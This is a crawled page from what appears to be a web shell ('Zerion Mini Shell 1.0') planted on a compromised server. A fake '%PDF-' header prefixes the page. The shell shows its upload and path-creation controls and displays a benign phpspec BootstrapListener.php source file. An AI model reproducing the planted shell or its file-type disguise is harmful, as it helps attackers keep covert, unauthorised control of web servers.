%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/rental/vendor/phpspec/phpspec/src/PhpSpec/Listener/
Upload File :
Create Path :
Current File : /var/www/html/rental/vendor/phpspec/phpspec/src/PhpSpec/Listener/BootstrapListener.php

<?php

namespace PhpSpec\Listener;

use PhpSpec\Console\IO;
use Symfony\Component\EventDispatcher\EventSubscriberInterface;

class BootstrapListener implements EventSubscriberInterface
{
    /**
     * @var IO
     */
    private $io;

    public function __construct(IO $io)
    {
        $this->io = $io;
    }

    public static function getSubscribedEvents()
    {
        return array('beforeSuite' => array('beforeSuite', 1100));
    }

    public function beforeSuite()
    {
        if ($bootstrap = $this->io->getBootstrapPath()) {
            if (!is_file($bootstrap)) {
                throw new \RuntimeException(sprintf("Bootstrap file '%s' does not exist", $bootstrap));
            }

            require $bootstrap;
        }
    }
}

Zerion Mini Shell 1.0